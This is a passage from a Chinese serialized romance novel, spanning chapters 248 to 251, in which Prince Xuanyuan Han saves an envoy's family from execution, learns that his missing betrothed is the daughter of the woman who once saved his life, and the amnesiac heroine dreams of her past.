待其一跨下马车来,程良便急急紧随主子其后,俩人一起朝着乾坤殿方向快步奔去。 然刚一到达乾坤殿院门口,跨过了那道汉白玉石门槛,俩人便立刻顿足下来面面相觑了起来,被眼前的场景惊呆了。 只见对面高高筑起的汉白玉石雕高台上,高大巍峨的乾坤殿外,轩辕玥正俯首跪在殿门前,连连叩首着。 尚未及待主子发声吩咐,程良便已迫不及待地朝其疾步奔了过去。 一近身,这才看到轩辕玥早已是泪流满面着,其额头上还满是斑斑血迹。整个人更是处在一片昏昏沉沉、摇摇晃晃的状态。然却始终都未曾放弃地一边重重地叩首,一边对着殿内的方向口中不断地重复祈求道“儿臣恳请父皇收回成命,免除使臣满门抄斩之罪,儿臣愿意听从父皇任何安排……” 然纵使她此刻再多的叩首与祈求,殿内那人却依旧对其无情地视若不见着。也无论身旁心疼极了的皇后和太子俩人如何劝慰,也无法将其劝停下来。 自古以来,都是“后宫不得干政”。身为母仪天下的一国之母,皇后自是纵使此刻心里有多心疼与着急,终究也无法踏足进入那大殿里一步,替自己的心头肉争辩一个字。其实,这么多年来,她心里亦清清楚楚地明白,那个人,从始至终亦都不会听自己说一句话。即便进去了,亦是枉然。 太子轩辕昊亦是有心而无力极了,只能陪其一起跪着,哭着乞求道“皇姐,你起来吧,快起来啊。” 程良瞪大了眼睛看着,听着这眼前触目惊心、鲜血淋淋、悲凄的一切,被惊的目瞪口呆。半晌后,方才回过神来忙上前去屈膝扶住轩辕玥的胳膊,又仔细地将其周身重新打量了一番,问道“公主殿下,这…这是怎么了?” 轩辕玥已是有气而无力地对其沉吟说道“程将军,父皇派去东宁国请求和亲的使臣…刚刚…刚刚被判满门抄斩之罪,今日午时三刻便要全家老小一起被行刑斩首示众了。程将军赶快想想办法,救他们,快…快…快呀……” 尚未待其将话说完,来自身上、心里的所有伤痛终于致使她虚弱地背过了气,晕了过去。 “公主,公主……” “皇姐,皇姐……” “皇儿,皇儿……” 见此,顿时间,身旁三人着急地乱成了一锅粥,手忙脚乱地一起摇晃着她瘦弱的身子,同时朝其大声地疾呼起来。 程良紧紧地皱着眉头,不可思议地对着此刻惊慌失措着,只知道不停拭泪的皇后道“皇后娘娘,那被派去与东宁国交涉公主和亲事宜的使臣,可是皇上身边最亲信的人啊,皇上竟也舍得如此残暴地治其罪责。出使未能完成使命,竟要惨遭灭门之灾?西秦可从未有过这样的法令啊!” “程将军,本宫…本宫……”皇后欲言又止着一脸的无可奈何,又满腔心事不知从何道起的为难着。 “母后,父皇他…他怎么会成为今天这个样子?”轩辕昊跪地扶着轩辕玥的胳膊,泪眼婆娑地看着皇后的脸亦不明白地问。 正在说话间,轩辕翰已一袭玄色朝服走了过来到众人身边,依旧一张冷峻的脸对皇后道“皇嫂。” “秦王,你的身体可都已恢复了?”皇后一看见秦王现身,便忙侧过脸去将泪水拭干,继而才转头朝其关切道。 “已无大碍了。”轩辕翰说着,斜眼冷冷地看了程良怀里一脸苍白悲惨的轩辕玥一眼。 皇后瞥见,又满是黯然神伤地对其苦道“秦王,玥儿的事,怕是……” 未及皇后将话说完,轩辕翰便急急开口将其打断道“皇嫂放心。” 紧接着,又对程良安排道“程良,你先送公主和皇后,还有太子回宫去。” “是”程良重重地点了点头,领命后便一把将地上的轩辕玥横抱起,皇后和轩辕昊紧随其后,三人一同兀自向着风华宫方向急急奔去。 轩辕翰单手附后着立在殿门外,望着四人远去的背影,重重地叹了口气。他没想到,如今的璟帝,竟已到了如此疯狂地开始施行起暴政来,就连自己的羽翼也在所不惜。看来,他终于开始着急了。 金碧辉煌,威严肃静的乾坤殿大殿上。   第二百四十八章:请旨寻人 就在梅志煊的亲笔书信被呈上的这一刻,大殿之上的文武百官无一人不屏住了呼吸,似是连同众人周围的空气一时间里亦都随着这封信静止了下来。 没有人知道这信上所带来的内容,是不是会将今日大殿上的微妙气氛更升一级,亦或是会瞬间引爆。 每个人心里都七上八下,唯有虔诚地默默祈祷着,秦王轩辕翰的到来能彻底拯救他们,终结他们其中不知道下一个又将会轮到谁头上的厄运。 面对这几年愈来愈残暴施政的璟帝,拒谏饰非,滥用重刑,苛捐杂税,不顾黎民百姓死活,只管自己炼丹以求长生。 这样的局势之下,民怨四起,大家都小心翼翼,畏首畏尾,阿谀奉承,战战兢兢,谁还敢真正有所作为。 殿内的气氛,已然升至了最紧扣人心的时刻,每个人都诚惶诚恐地垂首等候着自己被宣判的时刻。 岂料,璟帝一将手中的信刚刚看完,便板着脸一脸威严狠狠地将右手一把重重地拍在了金光闪闪的龙椅扶手上,继而怒目而视了一圈底下的众人。 最后,将目光锁在殿前上前而立一直俯首着至今都未抬起眼来半分的轩辕翰厉声大喝道“大胆秦王!” 见到璟帝已然再次震怒,除了秦王轩辕翰依旧如雷打不动般镇定自若外,殿内文武百官皆无一不约而同地呼啦啦全部一起纷纷跪倒在地上,一边叩首一边连连大声朝其祈求道“皇上息怒,皇上开恩,皇上息怒,皇上开恩……” 然让众人都意想不到的是,接下来,那高高在上的一张威严面孔却忽然间发出一阵颇为舒心爽朗的笑声“哈哈哈哈哈…哈哈哈哈哈……” 闻此,俯首跪倒在地的所有人都止住声,不明所以地怯怯抬起头来向那最高的位置上偷窥张望了过去。 这时,璟帝转而一脸欣喜地对着殿前的轩辕翰道“大胆秦王,竟得了这等天大的好消息,为何不早些来报,平身吧!” “谢皇上。”至此,轩辕翰方才终于得以站直了身子。 可怔怔看着大殿里这忽然变得亲切起来的皇族兄弟俩人,却不知究竟发生了何事的百官们却依旧不敢大声地喘息一声。 接着,璟帝方才一脸喜色地对下面齐齐跪着的一脸茫然的众百官道“众卿家也都起来吧。” “谢主隆恩。”于是,众人亦都糊里糊涂地齐声领旨谢恩,起身来重新站定。 璟帝将手里的信半举着,瞬间一脸和颜悦色地骄傲宣布道“朕手中的乃是东宁国三皇子梅志煊的亲笔书信,其声称一月之内定会日夜兼程,亲自携十里红妆前来迎娶我西秦公主。有了富甲一方的东宁国与我西秦尊贵的秦王和公主,这两桩亲上加亲的世纪联姻。相信日后里,灵空各国定会 对我西秦的实力更加有所忌惮。秦王实乃不愧为我西秦国之栋梁,百官之表率。” “臣等恭贺吾皇万岁万岁万万岁,秦王殿下千岁千岁千千岁。”闻此,殿内百官方才终于长长的舒了口气,拱手恭敬地齐声朝二人恭贺道。 “只是,东宁与我西秦相隔千山万水之遥,不知这封信怎么又会到了秦王的手中?”璟帝终是多疑地忍不住问道。 闻此,轩辕翰的眼睛猛地一怔,稍作思量继而回答道“回皇上,这便是臣为何会误了今日早朝时辰的原因。那东宁国三皇子梅志煊,他今日忽然出现在臣入宫的半途之中,拦了臣的马车,纠缠着非要见臣一面,但臣并未答应见他。他便硬将这封信塞给了臣的侍卫,故才耽误了上朝的时辰。” “梅志煊,他又怎会在我西秦国境内?”璟帝又一脸疑惑地问。 轩辕翰稍作思量,开口说道“其实,梅志煊他在臣大婚送亲之际,因在臣的府邸与公主有过一面之缘。据梅志煊他当时自己在马车外对臣所说,他那时便已开始仰慕我国公主,故暂时留在西秦国里并未离去,这才不知我国使者前去东宁国请求和亲之事。近日里,他也是刚刚收到了来自东宁的家书,方才获悉了此事。唯怕皇上误会,以为是东宁国有意拒绝了与我国的和亲,亦是怕错失了自己的意中人,这才迫不及待地出面来寻臣帮忙澄清事实。并愿意即刻回国去准备大婚各礼节相关事宜,亲自前来迎娶我国公主。” 璟帝闻之大喜,连连惊声道“哦?这么说,公主与那三皇子竟然早已是天赐良缘咯。好,好,好,好极了!这件事,秦王有功。朕定要重重的奖赏,秦王想要什么赏赐,尽管说来。” 一旁的百官们亦都各个满面喜色,互相窃窃私语着。 然轩辕翰却一脸严肃道“如今,东宁国迎娶我国公主,公主大婚将至。既然这一切都只是场乌龙,臣恳求皇上赦免使臣之罪,既然其已与东宁已经有过交涉的经验,不妨由其将功补过,全权负责公主和亲的所有事宜。” “既然误会都已经澄清,使臣之罪自是可以全部免除,就依秦王所言便是:赦免使臣之前的所有罪责,官复原职,命其全权负责公主和亲诸事,不得有误。”璟帝当着文武百官的面,下旨赦罪道。 “臣还有一不情之请,望皇上恩准。”不想轩辕翰思之又思,开口再次请求道。 &nbs 第二百四十九章:不能说的秘密 眼看着轩辕翰主仆俩人马上就要到达宫门口时,忽从前方现出一个看似有些神色匆匆的御药房药师打扮的男人身影来,该人一上前来便驻足垂首朝其恭敬地拱手行礼道“微臣参见秦王殿下!” “衣药师,你怎么在这儿?”尚未待轩辕翰出声,程良先一步上前来替其仔细查看了一番,随即惊讶道。 “微臣在此特意已等候秦王殿下多时,有要事前来禀报。”衣上坤依旧垂首道。 闻此,程良默默地回头看向了其身后主子的脸。只见轩辕翰一顿足下来,便单手附后着看都不看衣上坤的脸,微微侧身对其冷冷地道“衣药师所要禀的,若是只关于令嫒失踪的事,那就不必说了,本王都已经知道了。本王府上的人,本王自会不竭余力地将其寻回。只是,本王想知道,本王府上的人,怎么不是在衣药师的府中好端端的待着养身子,反而只身跑去了城南那么多日且不见归,也始终不见衣药师派人去寻呢?不知衣药师究竟是如何看护的?本王只想请衣药师就此疑问给予本王一个合理的解释。” 闻此,衣上坤只觉此声犹如晴天霹雳一般,震得使他两腿发软,不禁顿时浑身瑟瑟发抖起来,忙战战兢兢地“扑通”一声跪倒在面前的地上,直冒着冷汗连连叩首道“微臣该死,请秦王殿下恕罪,这一切都是微臣的错,都怪微臣没有尽心看护好小女,方才致使她遭遇此不测,下落不明……微臣该死,微臣该死……” 岂料轩辕翰闻此,眼里似是瞬间迸射出千万支寒光四射的利箭一般,狠狠地射向了衣上坤的五脏六腑,朝其厉声呵斥道“你的确是该死,倘若她真的有个什么……就算拿你衣府满门的人头来赔本王,你也赔不起。” 衣上坤只得不停地对其叩首道“微臣该死,微臣该死……”除此之外,他似是真不知道自己此时还能说些什么,做些什么,方才能将眼前之人心头的万丈怒火平息半分。纵使他不抬头用眼睛来看,也早已感觉到面前威严至极的人脸上,那副即便是将他活活吞下亦不能解气半分的满面怒色。 半晌后,轩辕翰愤怒极了的心绪似是终于得以收敛平复了些许下来,随即正欲忿忿踱步离去。衣上坤方才忽地回过神来,鼓足了勇气,依旧俯首跪地道“秦王殿下请留步,有件事,是关于小女的一个不能说的秘密…微臣思之又思,想了许久,决定还是告知殿下的比较好。毕竟…她以后便是秦王府的人了。” 此时,轩辕翰已然踱步到了其身后,程良亦紧随其后地跟着。然一听闻衣上坤口中所说之事乃是关于衣上云的,他还是终忍不住停下来脚步。若不是因此,他绝不会多在此停留半步,与其多费一句话。这样为人父母之人,他自是在心里对其万分的鄙视与不屑。 于是,他强忍着内心的悲愤,头也不回地驻足下来,依旧板着脸冰冷惜字如金地问道“何事?” 虽然经常在宫中行走,知道此时此地,很少有人经过,所以才选了此 地见面的衣上坤还是谨慎地朝着四周再次扫了一眼。 程良见此,亦帮忙向四周细细探了一圈,方才对其点了点头,衣上坤这才倒抽了口气,开口说道“殿下,其实…云儿她…她并非是微臣的女儿……” “你说什么?”闻此,不及衣上坤将剩余的话讲完,轩辕翰便猛地回过头来,一脸吃惊地朝其瞪大了一双深邃的眼眸,惊呆了。 就连立在衣上坤身旁的程良,亦是一时间里整个人都站在原地里怔愣住,痴痴地看着他那张低垂的侧脸,满腹的不可思议。 然衣上坤却仍旧是跪地不敢抬起头来半分,反倒是将头低的更低了些,俯首对其幽幽道“十七年了,这十七年里,不是微臣不关心她,而且怕微臣对她的关心,在那座深宅大院里成为她的一种负担。云儿,她其实是微臣入宫之前与糟糠之妻在深山里采药时,偶然所遇见的一位似是因为坠落悬崖所致的生产在即的妇人所生。微臣乃是受了那位妇人的临终所托,方才收养了那个刚一出生便没了娘的可怜的孩子。” 至此,轩辕翰方才恍然大悟,却瞬间惊诧地似是连话都说不出来,他的心里似乎正另外还怀疑着些其它什么更为重要的事情,只见他的眼睛顿时瞪的越来越大。 稍作思量,只对其冷声说道“起来回话吧。” “谢殿下。”衣上坤这才撩起袍角,缓缓站起了身来。 然待其刚一立定,轩辕翰便似是忽地瞬间明白了什么,立刻上前一步,同时伸出一只极有力的大手来紧紧地握住了其一只胳膊,放眼紧盯着其眼睛,严肃道“本王问你,方才你说,你是在山里采药时遇到了那位坠崖所致的即将生产的妇人,是哪座山?” “是城南的北山,那是微臣的老家。”衣上坤顿时震惊不已的怯怯看着轩辕翰的眼睛道。 “城南北山?十七年前?你的老家?…那你可还记得是在十七年前的哪一日遇到那位妇人的?…是不是…是不是先帝薨逝的那一日?”此刻,轩辕翰的心里着实难以置信地激动极了,就连附在衣上坤胳膊上手的力气亦不知不觉地慢慢加大了几分而不自知,只一字一顿地肃声问道。 见此,衣上坤的心里即刻亦紧张极了,他根本不知道轩辕翰为何会如此失常的激动着。稍作回忆,只对其愣愣地摇了摇头,吞吞吐吐道“不是…不是先帝薨逝的那日,而是…而是先帝薨逝的第二日黎明时分,天色尚才微微发亮的时候。不过,依照那妇人的伤势和当时的情况来看,应是前一日就落下山崖的。当时,微臣看到她的时候,她似乎是从北山脚下的碧水湖滩上挣扎着爬了许久,应是怕孩子夜里意外出生冻着了,直到爬到树林边上实在没了力气,才……” 尚未待其将话说完,岂料轩辕翰瞪大着的一双深邃的眸子竟忽然间噙满了泪水,且眼看着似是都快要滑落下来,似是就连整个人的身子亦都在颤抖一般,衣上坤不禁吃惊地看着他的眼睛默默地止住了声。 “殿下,殿下……”这时,一旁的程良似是也猜到了些什么,看到轩辕翰已然陷入了沉痛的往事回忆之中,便急急伸手一把捉住了其尚且还附在衣上坤身上的胳膊朝其轻唤道。 终于,轩辕翰的手缓缓松了开来,眼睛也终究慢慢地移开,继而顿时一脸的黯然神伤,缓缓侧过了身去。 这时,程良一脸凝重地继续上前替自己的主子问衣上坤道“这么说,当年侍卫们搜遍了北山内外所发现的唯一一座被烧毁了的小茅屋,便是你的家咯?” “是的,那便是微臣以前的家,是微臣亲手一把火将它与那妇人一起烧的干干净净。那妇人,微臣问她什么都不说,微臣见她气质不俗,以为她是家里遭了什么横祸,被人追杀又或者遭受了什么满门抄斩之类的祸事,四处逃亡这才不小心失足落了崖。微臣又怕贼人追来要斩草除根对那孩子不利,便一刻都不敢多做停留,连夜逃离了北山,自此便再也没敢回去过。”衣上坤倒抽了口气,说道。 闻此,程良心里顿时间愤怒极了,朝其大声怒斥道“你为什么要这么做?你可知道,殿下他…他当年只不过还是个孩子,为了寻那位救命恩人,他带着侍卫在深山里没日没夜地搜寻了整整数月,都未曾见那妇人的半丝踪迹。” “什么,救命恩人?”衣上坤不解地道。 程良叹了口气,道“那位即将临盆的妇人,她乃正是为了救秦王殿下才被人逼落山崖的。” 闻此,衣上坤亦瞬间瞪大了眼睛看着程良的脸,惊的不禁微微后退了两步,向着其惊声道“怎么会是这样?” 此话一出,一时间里,三个人都一起静默了下来,各自陷入了沉沉的思索当中。 半晌后,轩辕翰方才收敛悲伤,沉声再次问道“那妇人临终前,果真什么话都未曾留下么?” 衣上坤再次看似犹犹豫豫的样子想了想,似是心一横,道“那妇人,临终之前,说她只愿那个孩子快快乐乐地做一个平常百姓家的女子,叮嘱微臣千万不能让其接近…接近皇族中人,更不能与其纠缠在一起。甚至为此而不惜亲手下毒毁了那孩子的容貌,可她终究还是……” “既然你知道这是个不能说的秘密,那你为何还要将此事告诉本王?”轩辕翰问。 闻此,衣上坤顿时抬起头来朝着轩辕翰的侧脸怔愣了许久,最后似是一脸无奈地说道“因为这个女儿,自从昏迷了一年醒来之后,她的所作所为,微臣实在已是再也琢磨不透,亦控制不了了。世上的事,竟往往事与愿违,或许,这便是她的命吧。一个人,纵使再神通广大,可终究也无法与命运抗衡。既然逃不过,索性…便也就不再藏着掖着了。微臣只求殿下能帮忙将这个可怜的孩子寻回,微臣将感激不尽。” 衣上坤这话一说完,轩辕翰便兀自踱步出了宫门。 望着其远去的背影,衣上坤默默地暗自喃喃说道“天意,这都是天意啊!” 第二百五十章:心的呼唤 ‘一语惊醒梦中人’,显然方才衣上坤的一席话,致使轩辕翰此刻虽看似脚下正无比沉稳地迈步着,然实则其脑海里却早已是千回百转,一片混乱。 他甚至有一种错觉,方才所发生的一切都似是一场梦一般,虚无缥缈,那样的不真实。 那个即将临盆的妇人,从那么高的悬崖上落下,竟会没有粉身碎骨,这怎么可能? 于是,他蹙了蹙眉,一边疾走,一边深感不可思议地开口沉声向着紧随其后的程良求证道“程良,方才衣上坤所说的一切你可都听到了?当年那位无名恩人,她坠崖后竟然没死,还产下了一名女婴。可那么高的悬崖,这怎么可能呢?” 程良亦对方才衣上坤所言同样甚感意外极了,他沉默着又想了想,道“这的确是让人很难以置信。可是,前几日里,殿下不也从那面与十七年前的那位妇人所落下的一模一样的悬崖上坠下了吗?可殿下现在不也毫发无伤吗?乐太医为殿下仔细检查过很多次,都说殿下身上的伤都只是悬崖边上的荆棘丛所致,并无其他伤痕。所以,衣药师所言,也未必不是不可能的。想那衣药师也不可能为了让殿下帮忙找回衣姑娘而扯下如此谎言?况且,殿下年幼时的那位救命恩人的事情,知道的人甚少,他一个小小药师,又怎么可能会知道呢?属下甚至禁不住在想,那位妇人当时若不是因为身怀有孕的话,怕是也不一定会死的。如此想来,衣姑娘她也肯定还好好活着。这是好事啊,殿下。” 程良一边思索着一边将话说完的时候,不禁早已是满腹喜悦浮上了心头。 岂料轩辕翰听了这话,却顿时将脸色变得更加冷厉了几分,随即双拳亦紧紧的握起。只待其一迈步出了宫门,便似是魔怔了一般地急急翻身上一匹黑得发亮的高大骏马,随即伸手挽着缰绳,只听一声“驾”,便兀自好似拼尽了全身力气般只身策马急奔而去。 唯留下身后的程良,却似是尚还不知发生了何事亦或是刚刚自己说错了什么一般,一脸惊愕地顿足怔愣了片刻,继而则惊声朝其已远去的背影声声疾唤道“殿下,殿下……” 见其呼唤声并不见有丝毫回应,这才忽觉似是有什么不对劲似的,继而亦急急跨上了马背朝其背影紧追了上去。 主仆俩一前一后地一阵疾驰后,不知道过了多久,只见轩辕翰的马速渐渐放慢了下来,终于停住。继而翻身下马,站到地上,似是恍恍惚惚地游走到了一处偏僻的山谷里的一座断崖前,双腿微微叉开,紧握双拳对着眼前的深谷里的白云缭绕,滴翠浮青,云海如浪疯狂地连连怒吼发泄起来“啊……啊……啊……为什么,为什么,为什么……” 顿时间,只闻山谷里到处回声阵阵,这声声响亮的似是撕心裂肺的怒吼声,愤怒的都欲要将这山川河流撼动了一般,他的整个身子亦都在随着这怒吼声颤抖。 的确,自打从城南北山坠崖昏迷后醒来至今,他一直都独自隐忍着衣上云可能会遭遇到的任何状况,好的,不好的…… 这一切未知的可能,渺茫的生存机会,本就不知该如何排解,继而又从衣上坤那里得知了这个让他无论如何都没想到的生命的奇迹。 原来,当年的那个妇人,她落崖后并没有粉身碎骨,无迹可寻。不仅如此,她还拼命地保下了一个孩子。 而那个孩子,他怎么都没想到竟然会是她,竟然就是她。 原来,这十七年以来,那个孩子,她就在自己的眼皮子底下如此艰难辛苦地活着。 若是他早些知道,或许她便不会在那个宅院里活的如此小心翼翼和委屈;若是他早些知道,他会对她加倍更加倍地好一些,是那种他从未对谁有过的好;若是他早些知道,或许一切都不会是现在这个样子……可这些年来,他却什么都不知道,什么都不知道…... 这时,终于赶上来的程良一见到眼前从未有过如此失态和放纵的主人,整个人都被这个场面惊呆了。他坐在马背上朝着那个尊贵伟岸的身影怔了许久,方才默默地下了马来。 继而又兀自踱步着缓缓走到其身后,心疼又忧伤地看着眼前这个从未有过如此无奈又悲愤的主人,痛心极了地沉声劝解其道“殿下:属下知道殿下心里难过,可现在不是难过的时候。眼下,殿下还有很多重要的事情要做。衣姑娘至今都下落不明,毫无半点音讯;太妃亦死的不明不白,太后和皇上必定是各怀鬼胎,殿下一定要防患于未然,及早查明事实真相方可;那东宁国国君明明拒了我国的和亲请求,可那梅志煊却忽然现身出来,如此着急地想要迎娶公主,其中一定有什么阴谋诡计;皇上暴政已久,西秦的子民,还都生活在水深火热之中;听说,最近在我边境地带,像是又有内乱发生,且规模还相当之大,当地官府根本无力将其消灭。殿下既然已病愈,想必这次,皇上也很快会下旨派殿下亲自出面去镇压了……这所有的事情,无一不是迫在眉睫的。所以...殿下一定要振作起来才是啊!” 闻此,轩辕翰汹涌澎湃不止的心似是方才得以渐渐安息了些许下来,终于松了口气,握紧的拳头亦缓缓被松了开来。 只是仍旧沉默着不说一句话,任凭程良再怎么劝,他都始终一动不动地抬眼睁睁望着深谷之上,天空中的云卷云舒,心里暗自朝其默默道“云儿,你听到了吗?本王在心里唤你,若是你听到了,就快回来本王的身边。这一生,本王都不能再失去你,我们错过的,已太多太多……” 程良已然劝不下,索性不知何时起便也不再出声,只是默默地在陪在其身旁一起静静地站着,守护着他的主人。 不知过了多久,轩辕翰一直怔望着深谷上天空中的云彩一动不动,直到一片夕阳出现将其渐渐染红。 再到夕阳西下,夜幕悄悄降临,他忽然一个急转身道“回府。” 说着,便大步上前翻身上马,兀自策马扬鞭,程良紧随其后,俩人一道朝着城东府邸方向疾驰而去,扬起一地的尘土飞扬。 桃花店村里。 不知为什么,若曦今日里总是一副昏昏沉沉,极为贪睡的样子,然却也发生了一件让所有人都感到特别奇怪和兴奋的事情。 早饭过后,欢儿便准备好了新的白布巾和药,准备给若曦换药。 可是,当她小心翼翼地将原来的白布巾替其摘下来的时候,竟然发现若曦头上的伤已经完全好了。 不仅如此,一夜之间,竟然连伤口亦消失地无影无踪,就恍若她从来都没有受过伤一般。 只有老妇人始终都有事琢磨不透,所以便总是心事重重,闷闷不乐的。一大早起来,见若曦头上的伤已然大好,心中亦似不怎么高兴地起来。 这会儿,见若曦整日里都昏昏欲睡着,不知究竟哪里出了问题? 自己的心中,亦是对这个等了太久终于出现的女子怀有太多的疑问。 索性便想着还是得请城隍庙的大师亲自来看看,方才能安心。 抬头来看看天色,再不动身的话,怕是到天黑的时候,便要到不了城隍庙了。 一念至此,老妇人便急急动手收拾起行装来。一个简单的包袱,遮戴上了黑色的长帷帽,这便准备着要出门去了。 岂料其前脚刚一迈出房门,欢儿便从西屋里急急冲了出来,两手将其扶住,忙问道“老夫人,您这是打算去哪儿呀?” 老妇人驻足停了下来,一脸凝重地侧身望着西屋里昏睡着的女子道“若曦如今这个样子,老身不放心,我还是亲自跑一趟城隍庙吧。兴许,玄空大师这次刚好就云游回来了,我得请他亲自来家里给若曦瞧瞧才能安心。” 话音未落,欢儿一听便伸出手来想要去卸下老妇人肩上的包袱“老夫人,快放下来,还是欢儿替您去请吧。这些年以来,您可从来都没出过这个村子啊,欢儿怎么能放心您独自一个人出门呢!” 老妇人拽住欢儿的手,阻止道“欢儿莫要胡闹。若曦刚醒,一切都还不稳定,她眼睛又看不见,你留下来还要照顾她呢。待会儿记得帮她服药,老身不会有事的,放心吧!” “不行,说什么欢儿也不能让您去。”欢儿依旧嘟着嘴,不松开附在其包袱上的手半分道。 就在俩人互相拉拉扯扯着,都不愿松手的时候,忽然从西屋内传出女子似是梦魇一般的喃喃细语声来“你是谁?你是谁?你是谁……” 闻此,俩人即刻同时都惊的面面相觑了起来,欢儿一时情急之下,便先忽地一把松开了手,继而疾步朝屋内奔去。 至此,老妇人方才乘机偷偷地溜出了门去…… 第二百五十一章:长长的“梦” 无论世事、岁月、亦或空间如何变换,冥冥之中,那些仿佛曾经出现过在我们梦里的所有支离破碎的片段,似乎总有一日会在后来岁月中的某一时刻里,就那样毫无征兆地忽然都一一出现在了我们最真实不过的生活面前。 对此,我们迷惑、我们迟疑、我们惊讶。 这一瞬间,如此似曾相识的奇妙感觉,它究竟是我们将心底最深处那些虔诚的强烈祷念,所执念的片段幻化成了一个个或悲或喜的荒唐梦境;亦还是我们根本就是一直深陷在自己一手所编织成的梦境中,事到如今早已经模糊地分不清了其与现实世界之间的界线。 所以,什么是梦?什么是现实?梦与现实之间,又究竟有着怎样神奇的一种关系? 正如聚散离合的生生世世里,早已注定了彼此终将相遇的缘份。或深或浅,却总是都息息相关的一些人们之间,无论是生是死,也无论天涯海角。总有一天,都能感应到彼此之间曾经最虔诚的心的呼唤。 此时,在记忆一片空白的若曦的梦魇里,千年前与千年后的支离破碎的片段再次不停地闪换着: 一个车水马龙的繁华世界里,大雨滂沱的街头,一袭雪白长裙,个子高挑的妙龄少女独自黯然失神地走在城市里的每一条大街小巷上,四处寻寻觅觅着。 时而驻足下来朝着空无一人的街道大声呐喊着“魏明轩,你在哪里?你快回来,你回来跟我说清楚,你不能这么对我。到底我做错了什么,我都改。为什么当初说在一起的人是你,而最后先离开的人也是你。这不公平,你不能这样对我,你不能……”终于,她实在没了力气,无力地瘫倒在大雨之中…… 场景闪变,在一片幽静的深谷前,一名衣饰显得尊贵不凡,背影高大伟岸,侧脸轮廓看似极睥睨天下的男子身影,正迎着风站在一面断崖前,面朝远方,在心里呼唤着“云儿,你听到了吗?本王在心里唤你,若是你听到了,就快回来本王的身边。这一生,本王都不能再失去你,我们错过的,已太多太多……” 梦境变换,出现的又是同样一挺拔的身躯。 这次,那人竟正那般专心投入地将一红衣女子紧紧地抵在一棵高大的树旁,附在女子的一片温软朱唇上,贪婪地亲吻,吸允着。而那女子也紧闭着双眼,满脸潮红,似是亦非常享受般地热烈回应着他所有的期待,俩人竟都一起渗出了潮潮的细汗来。 此时,若曦的脸上忽然平静了下来,恬静地格外动人。却瞬间似是又被什么梦境再次纠缠住而微微蹙起了眉。 梦里,那个女子的模样太过于模糊,一点儿都看不清,只是其正身处的那个宫殿,看起来布置的倒是一点儿也不像是女子的闺房,更像是一贵族男子的寝殿。 那女子声音悲伤地道“云儿明白殿下的心意,可殿下是个心中有太多悲伤的人,云儿亦是早晚都会离开这里,就如同一道浮光掠影,是个没有明天的人。人生漫漫 ,如此身不由己的云儿又怎能对殿下承诺什么呢?在一起,最终也只是平添一缕伤痛,云儿又如何忍心?!所以,今夜发生的一切,云儿都将忘记,也请殿下,此生不要再记起。” 梦境片段快速切换,来到一悬崖边上,一树根的两头各自牵着一男一女俩个人。树根已然即将断裂开,眼看着就要落崖的女子哀伤乞求道“殿下松手吧,云儿求您了。再这样耗下去,我们俩真的都会没命的,云儿死不足惜,只求殿下您一定要好好活着。这个世上,还有更多的人需要殿下,为了云儿,殿下不值得做如此牺牲,殿下切莫要辜负了那位妇人的临终所托。” 又是同一座山崖,一大腹翩翩的妇人嘴角含笑,轻轻抬起一只脚来,整个人便顺势即刻掉落到脚下的云山云海之中。 就在其即将落地的那一刹那间,那妇人竟还伸手拽住了山崖一断面上的一株千年人参。 那是什么,像是一道奇幻极了的紫芒,原来竟然是它将那妇人整个都包裹了起来直到其平安落地,那紫芒方才消失不见。 半夜里,妇人终于被一阵冰冷的潮水激醒,她只感到周围尽是湖滩边上的阵阵冷风全部都朝她一起不断地袭来。 妇人单薄的身子虚弱极了,但她知道自己决不能在这里待一整晚,她必须试着将自己沉重的身子支撑起来。 这时,身上却忽然感到了一阵痛楚。不,这不是普通的痛感,这是...这是临产前的阵痛,她腹中的孩子就快要出生了。 顿时,妇人惊慌极了。不,你不能现在出生,绝不是现在,现在可是在半夜里空无一人的崖底寒湖滩上,这里什么都没有,为娘的甚至连自己都衣不蔽体,食不果腹。你若是现在出生,一定会被冻死,饿死的。孩子,你一定得等等,再等等,等一个好心人的出现。 一念至此,妇人借着夜空里微弱的月光,慢慢坐起身来,掏出银针,大口地喘了几口气后,屏气凝神让自己冷静下来用手指摸索着,鼓足勇气最后在自己隆起的腹部施下一针。 待其耐下心来,等到阵痛感舒缓了许多后,继而又慌忙地放眼环视了下四周,随即便咬紧了嘴唇,握紧那株珍贵的千年人参吃力极了的缓缓开始向前方尽头的树林里匍匐爬去。 她一边拼命地用力爬,一边泪眼朦胧地在心里呼唤着“老天保佑,谨遵西秦天子之命,守护者之己任,已保西秦少主平安脱险,使命达成,若曦死而无憾。可若曦肚子里的孩子,她可是西秦国的下一代守护者,求你一定要开开眼,这个孩子,她绝不能死,绝不能……” 这时,陷入昏睡中的若曦眼角竟忽然源源不断地涌现出滚烫的泪水来,嘴里还似在喃喃呜咽着求救道“来人啊,有人吗,快来人救救她,救救她吧……” 忽然,梦境又闪到了一座深宅大院里,院子里到处都回荡着空灵极了的声音道“命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落 、既来之则安之。” 此时,若曦顿然止住了泪水,又开始不停地胡言乱语起来“你是谁?你们是谁?你们都是什么人……” 至此,梦境里突然又闪现出一道极强的光芒,这刺眼的光芒里渐渐现出来一道墙,伴随着这道墙越来越清晰,犹如一扇门渐渐地敞了开来,却像是要将她整个人都吸进去一般,她惊的忽一下睁开眼睛,整个身子亦随之微微一抖,醒了过来。 眼睛终于睁了开来,随即便听到了耳边所传来的这几日已十分熟悉的欢儿的声音,她正坐在床前双手握着自己的一只胳膊,一边轻轻摇晃着,一边似是惊愕极了地关切道“若曦,若曦,你怎么了?” 看到若曦在用胳膊吃力地想要将身子撑坐起来,欢儿忙起身来搭手着将其扶起。 若曦坐起,这才开口说了话“我...我刚做了一个梦,一个好长好长的梦,又似是那样逼真的一个梦。” “是什么样的梦呢?”欢儿坐下来一边帮其拭去额头的汗水,一边好奇地问。 “什么样的梦?梦境都各不相同,有深宅大院,有悬崖峭壁,有大雨滂沱车水马龙的繁华街头,有男有女,还有……”一想到那个镜头,她的脸上不禁顿时浮起了一抹潮红。 继而转念又继续道“特别有一个不知什么原因坠落悬崖,悲惨至极的即将临盆的妇人,她的名字,竟然也叫做‘若曦’,怎么会这么巧呢?” “梦见了一个孕妇?那可是吉兆啊!”欢儿完全不知若曦此时心中的若有所思,兀自激动地道。 